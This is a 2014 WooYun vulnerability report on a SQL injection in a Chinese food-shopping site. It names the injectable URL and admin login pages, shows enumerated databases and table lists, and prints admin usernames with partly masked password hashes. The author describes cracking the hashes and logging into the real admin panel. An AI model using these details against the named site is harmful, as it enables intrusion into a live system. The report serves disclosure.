当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052928

漏洞标题：中智互通餐饮购物网站存在注入漏洞

相关厂商：中智互通

漏洞作者： 小r00to1

提交时间：2014-03-06 12:22

修复时间：2014-04-20 12:23

公开时间：2014-04-20 12:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-06： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-04-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中智互通餐饮购物网站存在注入漏洞，通过注入可直接拿到管理员权限，开通收费店铺。

详细说明：

1.http://new.edingcn.com/install/index.php网站主页，可以在这里购买店铺，然后装修，只不过全都是小吃的店铺，不过也是要花不少钱的。
2.谷歌搜索找到后台地址：http://new.edingcn.com/admin/index.php?act=login&op=login

1.png


3.继续浏览网页，找到注入地址：http://new.edingcn.com/index.php?act=louceng&op=list&sc_id=91&sc_parent_id=88
4.开始注入，发现数据库：

[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] udb_eding
[*] udb_jiajumall
[*] udb_starmall


5.发现有三个比较有用的库， udb_eding、 udb_jiajumall、 udb_starmall，怀疑有三个管理后台，和三套系统，继续暴库，看看有什么好东东。
6.先看udb_eding 

udb_eding
[175 tables]
+----------------------------+
| eding_activity             |
| eding_activity_detail      |
| eding_address              |
| eding_admin                |
| eding_admin_log            |
| eding_adv                  |
| eding_adv_click            |
| eding_adv_position         |
| eding_album_class          |
| eding_album_pic            |
| eding_article              |
| eding_article_class        |
| eding_attribute            |
| eding_attribute_value      |
| eding_brand                |
| eding_cart                 |
| eding_circle               |
| eding_circle_affix         |
| eding_circle_class         |
| eding_circle_classgc       |
| eding_circle_fs            |
| eding_circle_like          |
| eding_circle_member        |
| eding_circle_thclass       |
| eding_circle_theme         |
| eding_circle_thg           |
| eding_circle_threply       |
| eding_cms_article          |
| eding_cms_article_attitude |
| eding_cms_article_class    |
| eding_cms_article_comment  |
| eding_cms_comment          |
| eding_cms_index_module     |
| eding_cms_navigation       |
| eding_cms_picture          |
| eding_cms_picture_class    |
| eding_cms_picture_image    |
| eding_cms_special          |
| eding_cms_tag              |
| eding_cms_tag_relation     |
| eding_complain             |
| eding_complain_goods       |
| eding_complain_subject     |
| eding_complain_talk        |
| eding_consult              |
| eding_coupon               |
| eding_coupon_class         |
| eding_cron                 |
| eding_daddress             |
| eding_document             |
| eding_evaluate_goods       |
| eding_evaluate_goodsstat   |
| eding_evaluate_store       |
| eding_evaluate_storestat   |
| eding_express              |
| eding_favorites            |
| eding_flowstat_1           |
| eding_flowstat_2           |
| eding_flowstat_3           |
| eding_flowstat_4           |
| eding_flowstat_5           |
| eding_gadmin               |
| eding_gold_buy             |
| eding_gold_log             |
| eding_gold_payment         |
| eding_goods                |
| eding_goods_attr_index     |
| eding_goods_class          |
| eding_goods_class_staple   |
| eding_goods_class_tag      |
| eding_goods_content        |
| eding_goods_group          |
| eding_goods_spec           |
| eding_goods_spec_index     |
| eding_groupbuy_area        |
| eding_groupbuy_class       |
| eding_groupbuy_price_range |
| eding_groupbuy_template    |
| eding_inform               |
| eding_inform_subject       |
| eding_inform_subject_type  |
| eding_link                 |
| eding_lock                 |
| eding_mail_msg_temlates    |
| eding_map                  |
| eding_member               |
| eding_message              |
| eding_micro_adv            |
| eding_micro_comment        |
| eding_micro_goods          |
| eding_micro_goods_class    |
| eding_micro_goods_relation |
| eding_micro_like           |
| eding_micro_member_info    |
| eding_micro_personal       |
| eding_micro_personal_class |
| eding_micro_store          |
| eding_navigation           |
| eding_order                |
| eding_order_address        |
| eding_order_goods          |
| eding_order_log            |
| eding_p_bundling           |
| eding_p_bundling_goods     |
| eding_p_bundling_quota     |
| eding_p_mansong            |
| eding_p_mansong_apply      |
| eding_p_mansong_quota      |
| eding_p_mansong_rule       |
| eding_p_xianshi            |
| eding_p_xianshi_apply      |
| eding_p_xianshi_goods      |
| eding_p_xianshi_quota      |
| eding_payment              |
| eding_points_cart          |
| eding_points_goods         |
| eding_points_log           |
| eding_points_order         |
| eding_points_orderaddress  |
| eding_points_ordergoods    |
| eding_predeposit_cash      |
| eding_predeposit_log       |
| eding_predeposit_recharge  |
| eding_rec_position         |
| eding_recommend            |
| eding_recommend_goods      |
| eding_refund_log           |
| eding_return               |
| eding_return_goods         |
| eding_salenum              |
| eding_seo                  |
| eding_setting              |
| eding_sns_albumclass       |
| eding_sns_albumpic         |
| eding_sns_binding          |
| eding_sns_comment          |
| eding_sns_friend           |
| eding_sns_goods            |
| eding_sns_membertag        |
| eding_sns_mtagmember       |
| eding_sns_s_autosetting    |
| eding_sns_s_comment        |
| eding_sns_s_tracelog       |
| eding_sns_setting          |
| eding_sns_sharegoods       |
| eding_sns_sharestore       |
| eding_sns_tracelog         |
| eding_sns_visitor          |
| eding_spec                 |
| eding_spec_value           |
| eding_store                |
| eding_store_class          |
| eding_store_class_goods    |
| eding_store_extend         |
| eding_store_goods_class    |
| eding_store_grade          |
| eding_store_gradelog       |
| eding_store_navigation     |
| eding_store_partner        |
| eding_store_watermark      |
| eding_transport            |
| eding_transport_extend     |
| eding_type                 |
| eding_type_brand           |
| eding_type_spec            |
| eding_upload               |
| eding_voucher              |
| eding_voucher_apply        |
| eding_voucher_price        |
| eding_voucher_quota        |
| eding_voucher_template     |
| eding_web                  |
| eding_web_code             |
| eding_ztc_glodlog          |
| eding_ztc_goods            |
+----------------------------+


目测这里有东西：

eding_admin
[2 entries]
+----------+-----------+------------+----------------+--------------------------
--------+-----------------+------------------+
| admin_id | admin_gid | admin_name | admin_is_super | admin_password
        | admin_login_num | admin_login_time |
+----------+-----------+------------+----------------+--------------------------
--------+-----------------+------------------+
| 1        | 0         | cicitadmin | 1              | c25a43bb6a072***22a43a7b7e6fd654 |             | 1389772895       |
| 2        | 1         | cicit      | 0              | e10adc3949ba***bbe56e057f20f883e |             | 0                |


用户名和密码，密码被md5 加密了，md5 网站解密得到密码明文。
7.在看看其他两个库：

udb_jiajumall
[175 tables]
+--------------------------------+
| jiajumall_activity             |
| jiajumall_activity_detail      |
| jiajumall_address              |
| jiajumall_admin                |
| jiajumall_admin_log            |
| jiajumall_adv                  |
| jiajumall_adv_click            |
| jiajumall_adv_position         |
| jiajumall_album_class          |
| jiajumall_album_pic            |
| jiajumall_article              |
| jiajumall_article_class        |
| jiajumall_attribute            |
| jiajumall_attribute_value      |
| jiajumall_brand                |
| jiajumall_cart                 |
| jiajumall_circle               |
| jiajumall_circle_affix         |
| jiajumall_circle_class         |
| jiajumall_circle_classgc       |
| jiajumall_circle_fs            |
| jiajumall_circle_like          |
| jiajumall_circle_member        |
| jiajumall_circle_thclass       |
| jiajumall_circle_theme         |
| jiajumall_circle_thg           |
| jiajumall_circle_threply       |
| jiajumall_cms_article          |
| jiajumall_cms_article_attitude |
| jiajumall_cms_article_class    |
| jiajumall_cms_article_comment  |
| jiajumall_cms_comment          |
| jiajumall_cms_index_module     |
| jiajumall_cms_navigation       |
| jiajumall_cms_picture          |
| jiajumall_cms_picture_class    |
| jiajumall_cms_picture_image    |
| jiajumall_cms_special          |
| jiajumall_cms_tag              |
| jiajumall_cms_tag_relation     |
| jiajumall_complain             |
| jiajumall_complain_goods       |
| jiajumall_complain_subject     |
| jiajumall_complain_talk        |
| jiajumall_consult              |
| jiajumall_coupon               |
| jiajumall_coupon_class         |
| jiajumall_cron                 |
| jiajumall_daddress             |
| jiajumall_document             |
| jiajumall_evaluate_goods       |
| jiajumall_evaluate_goodsstat   |
| jiajumall_evaluate_store       |
| jiajumall_evaluate_storestat   |
| jiajumall_express              |
| jiajumall_favorites            |
| jiajumall_flowstat_1           |
| jiajumall_flowstat_2           |
| jiajumall_flowstat_3           |
| jiajumall_flowstat_4           |
| jiajumall_flowstat_5           |
| jiajumall_gadmin               |
| jiajumall_gold_buy             |
| jiajumall_gold_log             |
| jiajumall_gold_payment         |
| jiajumall_goods                |
| jiajumall_goods_attr_index     |
| jiajumall_goods_class          |
| jiajumall_goods_class_staple   |
| jiajumall_goods_class_tag      |
| jiajumall_goods_content        |
| jiajumall_goods_group          |
| jiajumall_goods_spec           |
| jiajumall_goods_spec_index     |
| jiajumall_groupbuy_area        |
| jiajumall_groupbuy_class       |
| jiajumall_groupbuy_price_range |
| jiajumall_groupbuy_template    |
| jiajumall_inform               |
| jiajumall_inform_subject       |
| jiajumall_inform_subject_type  |
| jiajumall_link                 |
| jiajumall_lock                 |
| jiajumall_mail_msg_temlates    |
| jiajumall_map                  |
| jiajumall_member               |
| jiajumall_message              |
| jiajumall_micro_adv            |
| jiajumall_micro_comment        |
| jiajumall_micro_goods          |
| jiajumall_micro_goods_class    |
| jiajumall_micro_goods_relation |
| jiajumall_micro_like           |
| jiajumall_micro_member_info    |
| jiajumall_micro_personal       |
| jiajumall_micro_personal_class |
| jiajumall_micro_store          |
| jiajumall_navigation           |
| jiajumall_order                |
| jiajumall_order_address        |
| jiajumall_order_goods          |
| jiajumall_order_log            |
| jiajumall_p_bundling           |
| jiajumall_p_bundling_goods     |
| jiajumall_p_bundling_quota     |
| jiajumall_p_mansong            |
| jiajumall_p_mansong_apply      |
| jiajumall_p_mansong_quota      |
| jiajumall_p_mansong_rule       |
| jiajumall_p_xianshi            |
| jiajumall_p_xianshi_apply      |
| jiajumall_p_xianshi_goods      |
| jiajumall_p_xianshi_quota      |
| jiajumall_payment              |
| jiajumall_points_cart          |
| jiajumall_points_goods         |
| jiajumall_points_log           |
| jiajumall_points_order         |
| jiajumall_points_orderaddress  |
| jiajumall_points_ordergoods    |
| jiajumall_predeposit_cash      |
| jiajumall_predeposit_log       |
| jiajumall_predeposit_recharge  |
| jiajumall_rec_position         |
| jiajumall_recommend            |
| jiajumall_recommend_goods      |
| jiajumall_refund_log           |
| jiajumall_return               |
| jiajumall_return_goods         |
| jiajumall_salenum              |
| jiajumall_seo                  |
| jiajumall_setting              |
| jiajumall_sns_albumclass       |
| jiajumall_sns_albumpic         |
| jiajumall_sns_binding          |
| jiajumall_sns_comment          |
| jiajumall_sns_friend           |
| jiajumall_sns_goods            |
| jiajumall_sns_membertag        |
| jiajumall_sns_mtagmember       |
| jiajumall_sns_s_autosetting    |
| jiajumall_sns_s_comment        |
| jiajumall_sns_s_tracelog       |
| jiajumall_sns_setting          |
| jiajumall_sns_sharegoods       |
| jiajumall_sns_sharestore       |
| jiajumall_sns_tracelog         |
| jiajumall_sns_visitor          |
| jiajumall_spec                 |
| jiajumall_spec_value           |
| jiajumall_store                |
| jiajumall_store_class          |
| jiajumall_store_class_goods    |
| jiajumall_store_extend         |
| jiajumall_store_goods_class    |
| jiajumall_store_grade          |
| jiajumall_store_gradelog       |
| jiajumall_store_navigation     |
| jiajumall_store_partner        |
| jiajumall_store_watermark      |
| jiajumall_transport            |
| jiajumall_transport_extend     |
| jiajumall_type                 |
| jiajumall_type_brand           |
| jiajumall_type_spec            |
| jiajumall_upload               |
| jiajumall_voucher              |
| jiajumall_voucher_apply        |
| jiajumall_voucher_price        |
| jiajumall_voucher_quota        |
| jiajumall_voucher_template     |
| jiajumall_web                  |
| jiajumall_web_code             |
| jiajumall_ztc_glodlog          |
| jiajumall_ztc_goods            |
+--------------------------------+


依然是：

udb_jiajumall
Table: jiajumall_admin
[2 entries]
+----------+-----------+-------------+----------------+-------------------------
---------+-----------------+------------------+
| admin_id | admin_gid | admin_name  | admin_is_super | admin_password
         | admin_login_num | admin_login_time |
+----------+-----------+-------------+----------------+-------------------------
---------+-----------------+------------------+
| 1        | 0         | cicit_admin | 1              | ee59de1b0c3370***017884739d24694 | | 1389944327       |
| 2        | 1         | jiagc       | 0              | e2dc735287b736***d85189fbaeb7531 | | 1389264825       |

md5解密，得到明文密码。
8.第三个库的

udb_starmall
[175 tables]
+-------------------------------+
| starmall_activity             |
| starmall_activity_detail      |
| starmall_address              |
| starmall_admin                |
| starmall_admin_log            |
| starmall_adv                  |
| starmall_adv_click            |
| starmall_adv_position         |
| starmall_album_class          |
| starmall_album_pic            |
| starmall_article              |
| starmall_article_class        |
| starmall_attribute            |
| starmall_attribute_value      |
| starmall_brand                |
| starmall_cart                 |
| starmall_circle               |
| starmall_circle_affix         |
| starmall_circle_class         |
| starmall_circle_classgc       |
| starmall_circle_fs            |
| starmall_circle_like          |
| starmall_circle_member        |
| starmall_circle_thclass       |
| starmall_circle_theme         |
| starmall_circle_thg           |
| starmall_circle_threply       |
| starmall_cms_article          |
| starmall_cms_article_attitude |
| starmall_cms_article_class    |
| starmall_cms_article_comment  |
| starmall_cms_comment          |
| starmall_cms_index_module     |
| starmall_cms_navigation       |
| starmall_cms_picture          |
| starmall_cms_picture_class    |
| starmall_cms_picture_image    |
| starmall_cms_special          |
| starmall_cms_tag              |
| starmall_cms_tag_relation     |
| starmall_complain             |
| starmall_complain_goods       |
| starmall_complain_subject     |
| starmall_complain_talk        |
| starmall_consult              |
| starmall_coupon               |
| starmall_coupon_class         |
| starmall_cron                 |
| starmall_daddress             |
| starmall_document             |
| starmall_evaluate_goods       |
| starmall_evaluate_goodsstat   |
| starmall_evaluate_store       |
| starmall_evaluate_storestat   |
| starmall_express              |
| starmall_favorites            |
| starmall_flowstat_1           |
| starmall_flowstat_2           |
| starmall_flowstat_3           |
| starmall_flowstat_4           |
| starmall_flowstat_5           |
| starmall_gadmin               |
| starmall_gold_buy             |
| starmall_gold_log             |
| starmall_gold_payment         |
| starmall_goods                |
| starmall_goods_attr_index     |
| starmall_goods_class          |
| starmall_goods_class_staple   |
| starmall_goods_class_tag      |
| starmall_goods_content        |
| starmall_goods_group          |
| starmall_goods_spec           |
| starmall_goods_spec_index     |
| starmall_groupbuy_area        |
| starmall_groupbuy_class       |
| starmall_groupbuy_price_range |
| starmall_groupbuy_template    |
| starmall_inform               |
| starmall_inform_subject       |
| starmall_inform_subject_type  |
| starmall_link                 |
| starmall_lock                 |
| starmall_mail_msg_temlates    |
| starmall_map                  |
| starmall_member               |
| starmall_message              |
| starmall_micro_adv            |
| starmall_micro_comment        |
| starmall_micro_goods          |
| starmall_micro_goods_class    |
| starmall_micro_goods_relation |
| starmall_micro_like           |
| starmall_micro_member_info    |
| starmall_micro_personal       |
| starmall_micro_personal_class |
| starmall_micro_store          |
| starmall_navigation           |
| starmall_order                |
| starmall_order_address        |
| starmall_order_goods          |
| starmall_order_log            |
| starmall_p_bundling           |
| starmall_p_bundling_goods     |
| starmall_p_bundling_quota     |
| starmall_p_mansong            |
| starmall_p_mansong_apply      |
| starmall_p_mansong_quota      |
| starmall_p_mansong_rule       |
| starmall_p_xianshi            |
| starmall_p_xianshi_apply      |
| starmall_p_xianshi_goods      |
| starmall_p_xianshi_quota      |
| starmall_payment              |
| starmall_points_cart          |
| starmall_points_goods         |
| starmall_points_log           |
| starmall_points_order         |
| starmall_points_orderaddress  |
| starmall_points_ordergoods    |
| starmall_predeposit_cash      |
| starmall_predeposit_log       |
| starmall_predeposit_recharge  |
| starmall_rec_position         |
| starmall_recommend            |
| starmall_recommend_goods      |
| starmall_refund_log           |
| starmall_return               |
| starmall_return_goods         |
| starmall_salenum              |
| starmall_seo                  |
| starmall_setting              |
| starmall_sns_albumclass       |
| starmall_sns_albumpic         |
| starmall_sns_binding          |
| starmall_sns_comment          |
| starmall_sns_friend           |
| starmall_sns_goods            |
| starmall_sns_membertag        |
| starmall_sns_mtagmember       |
| starmall_sns_s_autosetting    |
| starmall_sns_s_comment        |
| starmall_sns_s_tracelog       |
| starmall_sns_setting          |
| starmall_sns_sharegoods       |
| starmall_sns_sharestore       |
| starmall_sns_tracelog         |
| starmall_sns_visitor          |
| starmall_spec                 |
| starmall_spec_value           |
| starmall_store                |
| starmall_store_class          |
| starmall_store_class_goods    |
| starmall_store_extend         |
| starmall_store_goods_class    |
| starmall_store_grade          |
| starmall_store_gradelog       |
| starmall_store_navigation     |
| starmall_store_partner        |
| starmall_store_watermark      |
| starmall_transport            |
| starmall_transport_extend     |
| starmall_type                 |
| starmall_type_brand           |
| starmall_type_spec            |
| starmall_upload               |
| starmall_voucher              |
| starmall_voucher_apply        |
| starmall_voucher_price        |
| starmall_voucher_quota        |
| starmall_voucher_template     |
| starmall_web                  |
| starmall_web_code             |
| starmall_ztc_glodlog          |
| starmall_ztc_goods            |
+-------------------------------+


用户名密码依据跑出。
9.在看看这两个表对应的后台地址，搜索下试试，http://edingcn.com/admin/index.php?act=login&op=login找到一个家工厂的登录页面。应该还有一个，不去找了，先登录第一个后台，看看功能。
10.登录后台：

QQ截图20140306094352.png


看到后台管理，确实是管理开店的：

3.png

这都是白花花的钱啊。
webshell就不拿了，看了一番有几个上传的地方，还是先报告吧。

漏洞证明：

1.http://new.edingcn.com/install/index.php网站主页，可以在这里购买店铺，然后装修，只不过全都是小吃的店铺，不过也是要花不少钱的。
2.谷歌搜索找到后台地址：http://new.edingcn.com/admin/index.php?act=login&op=login

1.png


3.继续浏览网页，找到注入地址：http://new.edingcn.com/index.php?act=louceng&op=list&sc_id=91&sc_parent_id=88
4.开始注入，发现数据库：

[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] udb_eding
[*] udb_jiajumall
[*] udb_starmall


5.发现有三个比较有用的库， udb_eding、 udb_jiajumall、 udb_starmall，怀疑有三个管理后台，和三套系统，继续暴库，看看有什么好东东。
6.先看udb_eding 

udb_eding
[175 tables]
+----------------------------+
| eding_activity             |
| eding_activity_detail      |
| eding_address              |
| eding_admin                |
| eding_admin_log            |
| eding_adv                  |
| eding_adv_click            |
| eding_adv_position         |
| eding_album_class          |
| eding_album_pic            |
| eding_article              |
| eding_article_class        |
| eding_attribute            |
| eding_attribute_value      |
| eding_brand                |
| eding_cart                 |
| eding_circle               |
| eding_circle_affix         |
| eding_circle_class         |
| eding_circle_classgc       |
| eding_circle_fs            |
| eding_circle_like          |
| eding_circle_member        |
| eding_circle_thclass       |
| eding_circle_theme         |
| eding_circle_thg           |
| eding_circle_threply       |
| eding_cms_article          |
| eding_cms_article_attitude |
| eding_cms_article_class    |
| eding_cms_article_comment  |
| eding_cms_comment          |
| eding_cms_index_module     |
| eding_cms_navigation       |
| eding_cms_picture          |
| eding_cms_picture_class    |
| eding_cms_picture_image    |
| eding_cms_special          |
| eding_cms_tag              |
| eding_cms_tag_relation     |
| eding_complain             |
| eding_complain_goods       |
| eding_complain_subject     |
| eding_complain_talk        |
| eding_consult              |
| eding_coupon               |
| eding_coupon_class         |
| eding_cron                 |
| eding_daddress             |
| eding_document             |
| eding_evaluate_goods       |
| eding_evaluate_goodsstat   |
| eding_evaluate_store       |
| eding_evaluate_storestat   |
| eding_express              |
| eding_favorites            |
| eding_flowstat_1           |
| eding_flowstat_2           |
| eding_flowstat_3           |
| eding_flowstat_4           |
| eding_flowstat_5           |
| eding_gadmin               |
| eding_gold_buy             |
| eding_gold_log             |
| eding_gold_payment         |
| eding_goods                |
| eding_goods_attr_index     |
| eding_goods_class          |
| eding_goods_class_staple   |
| eding_goods_class_tag      |
| eding_goods_content        |
| eding_goods_group          |
| eding_goods_spec           |
| eding_goods_spec_index     |
| eding_groupbuy_area        |
| eding_groupbuy_class       |
| eding_groupbuy_price_range |
| eding_groupbuy_template    |
| eding_inform               |
| eding_inform_subject       |
| eding_inform_subject_type  |
| eding_link                 |
| eding_lock                 |
| eding_mail_msg_temlates    |
| eding_map                  |
| eding_member               |
| eding_message              |
| eding_micro_adv            |
| eding_micro_comment        |
| eding_micro_goods          |
| eding_micro_goods_class    |
| eding_micro_goods_relation |
| eding_micro_like           |
| eding_micro_member_info    |
| eding_micro_personal       |
| eding_micro_personal_class |
| eding_micro_store          |
| eding_navigation           |
| eding_order                |
| eding_order_address        |
| eding_order_goods          |
| eding_order_log            |
| eding_p_bundling           |
| eding_p_bundling_goods     |
| eding_p_bundling_quota     |
| eding_p_mansong            |
| eding_p_mansong_apply      |
| eding_p_mansong_quota      |
| eding_p_mansong_rule       |
| eding_p_xianshi            |
| eding_p_xianshi_apply      |
| eding_p_xianshi_goods      |
| eding_p_xianshi_quota      |
| eding_payment              |
| eding_points_cart          |
| eding_points_goods         |
| eding_points_log           |
| eding_points_order         |
| eding_points_orderaddress  |
| eding_points_ordergoods    |
| eding_predeposit_cash      |
| eding_predeposit_log       |
| eding_predeposit_recharge  |
| eding_rec_position         |
| eding_recommend            |
| eding_recommend_goods      |
| eding_refund_log           |
| eding_return               |
| eding_return_goods         |
| eding_salenum              |
| eding_seo                  |
| eding_setting              |
| eding_sns_albumclass       |
| eding_sns_albumpic         |
| eding_sns_binding          |
| eding_sns_comment          |
| eding_sns_friend           |
| eding_sns_goods            |
| eding_sns_membertag        |
| eding_sns_mtagmember       |
| eding_sns_s_autosetting    |
| eding_sns_s_comment        |
| eding_sns_s_tracelog       |
| eding_sns_setting          |
| eding_sns_sharegoods       |
| eding_sns_sharestore       |
| eding_sns_tracelog         |
| eding_sns_visitor          |
| eding_spec                 |
| eding_spec_value           |
| eding_store                |
| eding_store_class          |
| eding_store_class_goods    |
| eding_store_extend         |
| eding_store_goods_class    |
| eding_store_grade          |
| eding_store_gradelog       |
| eding_store_navigation     |
| eding_store_partner        |
| eding_store_watermark      |
| eding_transport            |
| eding_transport_extend     |
| eding_type                 |
| eding_type_brand           |
| eding_type_spec            |
| eding_upload               |
| eding_voucher              |
| eding_voucher_apply        |
| eding_voucher_price        |
| eding_voucher_quota        |
| eding_voucher_template     |
| eding_web                  |
| eding_web_code             |
| eding_ztc_glodlog          |
| eding_ztc_goods            |
+----------------------------+


目测这里有东西：

eding_admin
[2 entries]
+----------+-----------+------------+----------------+--------------------------
--------+-----------------+------------------+
| admin_id | admin_gid | admin_name | admin_is_super | admin_password
        | admin_login_num | admin_login_time |
+----------+-----------+------------+----------------+--------------------------
--------+-----------------+------------------+
| 1        | 0         | cicitadmin | 1              | c25a43bb6a072***22a43a7b7e6fd654 |             | 1389772895       |
| 2        | 1         | cicit      | 0              | e10adc3949ba***bbe56e057f20f883e |             | 0                |


用户名和密码，密码被md5 加密了，md5 网站解密得到密码明文。
7.在看看其他两个库：

udb_jiajumall
[175 tables]
+--------------------------------+
| jiajumall_activity             |
| jiajumall_activity_detail      |
| jiajumall_address              |
| jiajumall_admin                |
| jiajumall_admin_log            |
| jiajumall_adv                  |
| jiajumall_adv_click            |
| jiajumall_adv_position         |
| jiajumall_album_class          |
| jiajumall_album_pic            |
| jiajumall_article              |
| jiajumall_article_class        |
| jiajumall_attribute            |
| jiajumall_attribute_value      |
| jiajumall_brand                |
| jiajumall_cart                 |
| jiajumall_circle               |
| jiajumall_circle_affix         |
| jiajumall_circle_class         |
| jiajumall_circle_classgc       |
| jiajumall_circle_fs            |
| jiajumall_circle_like          |
| jiajumall_circle_member        |
| jiajumall_circle_thclass       |
| jiajumall_circle_theme         |
| jiajumall_circle_thg           |
| jiajumall_circle_threply       |
| jiajumall_cms_article          |
| jiajumall_cms_article_attitude |
| jiajumall_cms_article_class    |
| jiajumall_cms_article_comment  |
| jiajumall_cms_comment          |
| jiajumall_cms_index_module     |
| jiajumall_cms_navigation       |
| jiajumall_cms_picture          |
| jiajumall_cms_picture_class    |
| jiajumall_cms_picture_image    |
| jiajumall_cms_special          |
| jiajumall_cms_tag              |
| jiajumall_cms_tag_relation     |
| jiajumall_complain             |
| jiajumall_complain_goods       |
| jiajumall_complain_subject     |
| jiajumall_complain_talk        |
| jiajumall_consult              |
| jiajumall_coupon               |
| jiajumall_coupon_class         |
| jiajumall_cron                 |
| jiajumall_daddress             |
| jiajumall_document             |
| jiajumall_evaluate_goods       |
| jiajumall_evaluate_goodsstat   |
| jiajumall_evaluate_store       |
| jiajumall_evaluate_storestat   |
| jiajumall_express              |
| jiajumall_favorites            |
| jiajumall_flowstat_1           |
| jiajumall_flowstat_2           |
| jiajumall_flowstat_3           |
| jiajumall_flowstat_4           |
| jiajumall_flowstat_5           |
| jiajumall_gadmin               |
| jiajumall_gold_buy             |
| jiajumall_gold_log             |
| jiajumall_gold_payment         |
| jiajumall_goods                |
| jiajumall_goods_attr_index     |
| jiajumall_goods_class          |
| jiajumall_goods_class_staple   |
| jiajumall_goods_class_tag      |
| jiajumall_goods_content        |
| jiajumall_goods_group          |
| jiajumall_goods_spec           |
| jiajumall_goods_spec_index     |
| jiajumall_groupbuy_area        |
| jiajumall_groupbuy_class       |
| jiajumall_groupbuy_price_range |
| jiajumall_groupbuy_template    |
| jiajumall_inform               |
| jiajumall_inform_subject       |
| jiajumall_inform_subject_type  |
| jiajumall_link                 |
| jiajumall_lock                 |
| jiajumall_mail_msg_temlates    |
| jiajumall_map                  |
| jiajumall_member               |
| jiajumall_message              |
| jiajumall_micro_adv            |
| jiajumall_micro_comment        |
| jiajumall_micro_goods          |
| jiajumall_micro_goods_class    |
| jiajumall_micro_goods_relation |
| jiajumall_micro_like           |
| jiajumall_micro_member_info    |
| jiajumall_micro_personal       |
| jiajumall_micro_personal_class |
| jiajumall_micro_store          |
| jiajumall_navigation           |
| jiajumall_order                |
| jiajumall_order_address        |
| jiajumall_order_goods          |
| jiajumall_order_log            |
| jiajumall_p_bundling           |
| jiajumall_p_bundling_goods     |
| jiajumall_p_bundling_quota     |
| jiajumall_p_mansong            |
| jiajumall_p_mansong_apply      |
| jiajumall_p_mansong_quota      |
| jiajumall_p_mansong_rule       |
| jiajumall_p_xianshi            |
| jiajumall_p_xianshi_apply      |
| jiajumall_p_xianshi_goods      |
| jiajumall_p_xianshi_quota      |
| jiajumall_payment              |
| jiajumall_points_cart          |
| jiajumall_points_goods         |
| jiajumall_points_log           |
| jiajumall_points_order         |
| jiajumall_points_orderaddress  |
| jiajumall_points_ordergoods    |
| jiajumall_predeposit_cash      |
| jiajumall_predeposit_log       |
| jiajumall_predeposit_recharge  |
| jiajumall_rec_position         |
| jiajumall_recommend            |
| jiajumall_recommend_goods      |
| jiajumall_refund_log           |
| jiajumall_return               |
| jiajumall_return_goods         |
| jiajumall_salenum              |
| jiajumall_seo                  |
| jiajumall_setting              |
| jiajumall_sns_albumclass       |
| jiajumall_sns_albumpic         |
| jiajumall_sns_binding          |
| jiajumall_sns_comment          |
| jiajumall_sns_friend           |
| jiajumall_sns_goods            |
| jiajumall_sns_membertag        |
| jiajumall_sns_mtagmember       |
| jiajumall_sns_s_autosetting    |
| jiajumall_sns_s_comment        |
| jiajumall_sns_s_tracelog       |
| jiajumall_sns_setting          |
| jiajumall_sns_sharegoods       |
| jiajumall_sns_sharestore       |
| jiajumall_sns_tracelog         |
| jiajumall_sns_visitor          |
| jiajumall_spec                 |
| jiajumall_spec_value           |
| jiajumall_store                |
| jiajumall_store_class          |
| jiajumall_store_class_goods    |
| jiajumall_store_extend         |
| jiajumall_store_goods_class    |
| jiajumall_store_grade          |
| jiajumall_store_gradelog       |
| jiajumall_store_navigation     |
| jiajumall_store_partner        |
| jiajumall_store_watermark      |
| jiajumall_transport            |
| jiajumall_transport_extend     |
| jiajumall_type                 |
| jiajumall_type_brand           |
| jiajumall_type_spec            |
| jiajumall_upload               |
| jiajumall_voucher              |
| jiajumall_voucher_apply        |
| jiajumall_voucher_price        |
| jiajumall_voucher_quota        |
| jiajumall_voucher_template     |
| jiajumall_web                  |
| jiajumall_web_code             |
| jiajumall_ztc_glodlog          |
| jiajumall_ztc_goods            |
+--------------------------------+


依然是：

udb_jiajumall
Table: jiajumall_admin
[2 entries]
+----------+-----------+-------------+----------------+-------------------------
---------+-----------------+------------------+
| admin_id | admin_gid | admin_name  | admin_is_super | admin_password
         | admin_login_num | admin_login_time |
+----------+-----------+-------------+----------------+-------------------------
---------+-----------------+------------------+
| 1        | 0         | cicit_admin | 1              | ee59de1b0c3370***017884739d24694 | | 1389944327       |
| 2        | 1         | jiagc       | 0              | e2dc735287b736***d85189fbaeb7531 | | 1389264825       |

md5解密，得到明文密码。
8.第三个库的

udb_starmall
[175 tables]
+-------------------------------+
| starmall_activity             |
| starmall_activity_detail      |
| starmall_address              |
| starmall_admin                |
| starmall_admin_log            |
| starmall_adv                  |
| starmall_adv_click            |
| starmall_adv_position         |
| starmall_album_class          |
| starmall_album_pic            |
| starmall_article              |
| starmall_article_class        |
| starmall_attribute            |
| starmall_attribute_value      |
| starmall_brand                |
| starmall_cart                 |
| starmall_circle               |
| starmall_circle_affix         |
| starmall_circle_class         |
| starmall_circle_classgc       |
| starmall_circle_fs            |
| starmall_circle_like          |
| starmall_circle_member        |
| starmall_circle_thclass       |
| starmall_circle_theme         |
| starmall_circle_thg           |
| starmall_circle_threply       |
| starmall_cms_article          |
| starmall_cms_article_attitude |
| starmall_cms_article_class    |
| starmall_cms_article_comment  |
| starmall_cms_comment          |
| starmall_cms_index_module     |
| starmall_cms_navigation       |
| starmall_cms_picture          |
| starmall_cms_picture_class    |
| starmall_cms_picture_image    |
| starmall_cms_special          |
| starmall_cms_tag              |
| starmall_cms_tag_relation     |
| starmall_complain             |
| starmall_complain_goods       |
| starmall_complain_subject     |
| starmall_complain_talk        |
| starmall_consult              |
| starmall_coupon               |
| starmall_coupon_class         |
| starmall_cron                 |
| starmall_daddress             |
| starmall_document             |
| starmall_evaluate_goods       |
| starmall_evaluate_goodsstat   |
| starmall_evaluate_store       |
| starmall_evaluate_storestat   |
| starmall_express              |
| starmall_favorites            |
| starmall_flowstat_1           |
| starmall_flowstat_2           |
| starmall_flowstat_3           |
| starmall_flowstat_4           |
| starmall_flowstat_5           |
| starmall_gadmin               |
| starmall_gold_buy             |
| starmall_gold_log             |
| starmall_gold_payment         |
| starmall_goods                |
